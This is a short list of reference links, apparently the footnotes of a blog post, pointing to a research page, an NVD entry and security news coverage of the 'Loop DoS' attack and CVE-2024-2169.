[1] https://cispa.de/en/loop-dos
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-2169
[3] https://www.bleepingcomputer.com/news/security/new-loop-dos-attack-may-impact-up-to-300-000-online-systems/#google_vignette
[4] https://thehackernews.com/2024/03/new-loop-dos-attack-impacts-hundreds-of.html
[5] https://securityaffairs.com/160851/hacking/loop-dos-attack.html
[6] https://www.darkreading.com/cloud-security/300k-internet-hosts-at-risk-for-devastating-loop-dos-attack
[7] https://www.boannews.com/media/view.asp?idx=127987&kind=1

+ Recent posts